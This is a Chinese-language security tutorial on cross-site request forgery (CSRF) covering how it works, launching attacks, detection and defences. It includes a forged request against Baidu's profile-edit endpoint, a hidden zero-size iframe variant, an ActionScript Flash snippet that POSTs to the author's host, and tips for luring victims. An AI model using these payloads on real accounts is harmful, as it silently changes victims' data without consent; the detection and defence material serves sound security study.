CSRF——攻擊與防御
author: lake2
0x01 什么是CSRF攻擊
CSRF是Cross Site Request Forgery的縮寫(xiě)(也縮寫(xiě)為XSRF),直譯過(guò)來(lái)就是跨站請求偽造的意思,也就是在用戶(hù)會(huì )話(huà)下對某個(gè)CGI做一些GET/POST的事情——這些事情用戶(hù)未必知道和愿意做,你可以把它想做HTTP會(huì )話(huà)劫持。
網(wǎng)站是通過(guò)cookie來(lái)識別用戶(hù)的,當用戶(hù)成功進(jìn)行身份驗證之后瀏覽器就會(huì )得到一個(gè)標識其身份的cookie,只要不關(guān)閉瀏覽器或者退出登錄,以后訪(fǎng)問(wèn)這個(gè)網(wǎng)站會(huì )帶上這個(gè)cookie。如果這期間瀏覽器被人控制著(zhù)請求了這個(gè)網(wǎng)站的url,可能就會(huì )執行一些用戶(hù)不想做的功能(比如修改個(gè)人資料)。因為這個(gè)不是用戶(hù)真正想發(fā)出的請求,這就是所謂的請求偽造;呵呵,因為這些請求也是可以從第三方網(wǎng)站提交的,所以前綴跨站二字。
舉個(gè)簡(jiǎn)單的例子,某個(gè)bbs可以貼圖,在貼圖的URL中寫(xiě)入退出登陸的鏈接,當用戶(hù)閱讀這個(gè)帖子之后就會(huì )logout了,因為用戶(hù)以自己的身份訪(fǎng)問(wèn)了退出登陸鏈接,在用戶(hù)看來(lái)是帖子里面有一張有問(wèn)題的“圖片”,而不是想要退出,但程序就會(huì )認為是用戶(hù)要求退出登陸而銷(xiāo)毀其會(huì )話(huà)。這就是傳說(shuō)中的CSRF攻擊了。
不要小看CSRF哦,記得以前L-Blog就存在一個(gè)CSRF漏洞(當時(shí)還不知道這個(gè)概念:p),它添加管理員是這樣的一個(gè)鏈接:http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,我們只要構造好ID想辦法讓管理員訪(fǎng)問(wèn)到這個(gè)URL就可以了;還有Google那個(gè)CSRF漏洞[1],將導致郵件泄漏;另外,不要以為只有XSS才能爆發(fā)蠕蟲(chóng),只要條件合適,CSRF同樣是有可能的。
0x02 威脅來(lái)自哪里
貼圖只是GET的方式,很多時(shí)候我們需要偽造POST的請求。一個(gè)辦法是利用跨站,當然目標站點(diǎn)可能不存在跨站,這個(gè)時(shí)候我們可以從第三方網(wǎng)站發(fā)動(dòng)攻擊。
比如我要攻擊一個(gè)存在問(wèn)題的blog,那就先去目標blog留言,留下一個(gè)網(wǎng)址,誘其主人點(diǎn)擊過(guò)來(lái)(這個(gè)就要看你的忽悠本事咯:p),然后構造個(gè)HTML表單提交些數據過(guò)去。
多窗口瀏覽器就幫了一點(diǎn)忙。
多窗口瀏覽器(firefox、遨游、MyIE……)便捷的同時(shí)也帶來(lái)了一些問(wèn)題,因為多窗口瀏覽器新開(kāi)的窗口是具有當前所有會(huì )話(huà)的。即我用IE登陸了我的Blog,然后我想看新聞了,又運行一個(gè)IE進(jìn)程,這個(gè)時(shí)候兩個(gè)IE窗口的會(huì )話(huà)是彼此獨立的,從看新聞的IE發(fā)送請求到Blog不會(huì )有我登錄的cookie;但是多窗口瀏覽器永遠都只有一個(gè)進(jìn)程,各窗口的會(huì )話(huà)是通用的,即看新聞的窗口發(fā)請求到Blog是會(huì )帶上我在blog登錄的cookie。
想一想,當我們用鼠標在Blog/BBS/WebMail點(diǎn)擊別人留下的鏈接的時(shí)候,說(shuō)不定一場(chǎng)精心準備的CSRF攻擊正等著(zhù)我們。
0x03 發(fā)起CSRF攻擊
從第三方站點(diǎn)利用POST發(fā)動(dòng)CSRF攻擊就是利用Javascript自動(dòng)提交表單到目標CGI。每次都去寫(xiě)表單不是很方便,輔助進(jìn)行的工具有XSSPOST Forwarder[2]和CSRFRedirector[3],這里我也寫(xiě)了相應的ASP版本[4]。使用的時(shí)候只要把提交的url和參數傳給它,它就會(huì )自動(dòng)POST到目標。
比如我要提交一些數據到www.0x54.org/a.asp:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123&b=321&c=%26%23%25(這里要自己考慮URL編碼哦)
不過(guò)實(shí)際攻擊的時(shí)候你得動(dòng)動(dòng)腦子:如何才能把用戶(hù)誘騙到我們的網(wǎng)頁(yè)來(lái)。
0x04 一個(gè)實(shí)例
因為CSRF不如XSS那么引人注目,所以現在找一個(gè)存在CSRF的Web應用程序還是很容易的。這次我們的目標是百度,just for test。
隨便你用什么辦法,讓一個(gè)已登陸百度的用戶(hù)訪(fǎng)問(wèn)一下這個(gè)URL:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
呵呵,然后看看那人個(gè)人資料是不是被修改了。這里有點(diǎn)郁悶,當那人訪(fǎng)問(wèn)URL后瀏覽器會(huì )返回到資料修改成功的頁(yè)面,我們就被發(fā)現了。那么,有沒(méi)有辦法不讓瀏覽器刷新呢?
有。
一個(gè)辦法是用iframe,構造這樣的HTML代碼:<iframe width=0 height=0src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
還有一個(gè)辦法就是用flash了。
0x05 CSRF With Flash
flash是可以提交數據到任意URL的,打開(kāi)盜版的 Adobe flash CS 3 Professional,新建一個(gè) flash文件(ActionScript 3.0) ,在默認的圖層上點(diǎn)右鍵選動(dòng)作,然后把以下代碼添加進(jìn)去:
:
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://www.0x54.org/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();
導出為swf文件,訪(fǎng)問(wèn)之,抓包看看效果咯: 這里不要只局限于發(fā)請求,其實(shí)flash是可以得到返回內容的,要是返回內容有敏感信息的話(huà),就可以讀出來(lái)發(fā)送到我們控制的Web去。當然,這個(gè)得看目標站點(diǎn)是否讓flash跨域取內容了。
0x06 檢測CSRF
檢測CSRF漏洞都是體力活了,先抓取一個(gè)正常請求的數據包,然后去掉referer字段再重新提交,如果還是有效那基本上就存在問(wèn)題了。當然參數可能含有不能預測的參數(比如userid什么的),這個(gè)時(shí)候就看這個(gè)不可預測的參數能不能通過(guò)其他手段比如flash拿到,如果能,呵呵,則還是存在問(wèn)題。還有就是試著(zhù)改post為get,因為有些程序是不區分get/post的。
應用程序的功能和返回形式都各不相同,所以想自動(dòng)化測試CSRF漏洞還是有點(diǎn)困難的,OWASP上面有一個(gè)叫做CSRFTester的工具不妨拿來(lái)一試[6]
0x07 防御CSRF
在Web應用程序側防御CSRF漏洞,一般都是利用referer、token或者驗證碼,Nexus的文章[7]已經(jīng)寫(xiě)的很全面了;superhei也有提出bypass的思路[8],請參考他們的文章。
還有一個(gè)思路是在客戶(hù)端防御,貌似可以做成一個(gè)類(lèi)似HTTP Watch的軟件,掛在瀏覽器上攔截或者過(guò)濾跨域的cookie。
0x08 總結
希望本文對您有幫助,同時(shí)也歡迎各位同我交流:lake2@mail.csdn.net
[ Reference ]
[1] Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
[2] XSS POST Forwarder, http://whiteacid.org/misc/xss_post_forwarder.php
[3] CSRF Redirector, http://shiflett.org/blog/2007/jul/csrf-redirector
[4] ASP的XSS POST Forwarder下載(附送一個(gè)HTML版), http://www.0x54.org/lake2/xss_post_forwarder.zip
[5] 源代碼和編譯好的swf文件下載:http://www.0x54.org/lake2/flash/flash_hacking.rar
[6] CSRFTester, http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
[7] Preventing CSRF, http://www.playhack.net/view.php?id=31. 漢化版, http://www.hanguofeng.cn/archives/security/preventing-csrf
[8] Bypass Preventing CSRF, http://www.xfocus.net/articles/200801/964.html
聯(lián)系客服